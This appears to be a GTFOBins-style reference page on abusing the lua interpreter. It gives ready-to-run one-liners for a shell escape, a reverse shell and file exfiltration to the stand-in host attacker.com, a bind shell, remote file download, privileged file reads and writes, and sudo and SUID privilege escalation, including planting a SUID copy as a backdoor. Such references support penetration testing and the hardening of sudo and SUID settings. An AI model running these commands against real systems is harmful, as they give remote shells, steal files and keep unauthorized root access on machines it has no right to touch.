It can be used to break out from restricted environments by spawning an interactive system shell.
lua -e 'os.execute("/bin/sh")'It can send back a non-interactive reverse shell to a listening attacker to open a remote network access.
Run nc -l -p 12345 on the attacker box to receive the shell. This requires lua-socket installed.
export RHOST=attacker.com
export RPORT=12345
lua -e 'local s=require("socket");
local t=assert(s.tcp());
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
while true do
local r,x=t:receive();local f=assert(io.popen(r,"r"));
local b=assert(f:read("*a"));t:send(b);
end;
f:close();t:close();'It can bind a non-interactive shell to a local port to allow remote network access.
Run nc target.com 12345 on the attacker box to connect to the shell. This requires lua-socket installed.
export LPORT=12345
lua -e 'local k=require("socket");
local s=assert(k.bind("*",os.getenv("LPORT")));
local c=s:accept();
while true do
local r,x=c:receive();local f=assert(io.popen(r,"r"));
local b=assert(f:read("*a"));c:send(b);
end;c:close();f:close();'It can exfiltrate files on the network.
Send a local file via TCP. Run nc -l -p 12345 > "file_to_save" on the attacker box to collect the file. This requires lua-socket installed.
RHOST=attacker.com
RPORT=12345
LFILE=file_to_send
lua -e '
local f=io.open(os.getenv("LFILE"), 'rb')
local d=f:read("*a")
io.close(f);
local s=require("socket");
local t=assert(s.tcp());
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
t:send(d);
t:close();'It can download remote files.
Fetch a remote file via TCP. Run nc target.com 12345 < "file_to_send" on the attacker box to send the file. This requires lua-socket installed.
export LPORT=12345
export LFILE=file_to_save
lua -e 'local k=require("socket");
local s=assert(k.bind("*",os.getenv("LPORT")));
local c=s:accept();
local d,x=c:receive("*a");
c:close();
local f=io.open(os.getenv("LFILE"), "wb");
f:write(d);
io.close(f);'It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
lua -e 'local f=io.open("file_to_write", "wb"); f:write("DATA"); io.close(f);'It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);'If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.
This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.
sudo install -m =xs $(which lua) .
lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
sudo lua -e 'os.execute("/bin/sh")'If the binary has the SUID bit set, it may be abused to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run commands (e.g., via system()-like invocations) it only works on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.
This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.
sudo install -m =xs $(which lua) .
./lua -e 'os.execute("/bin/sh")'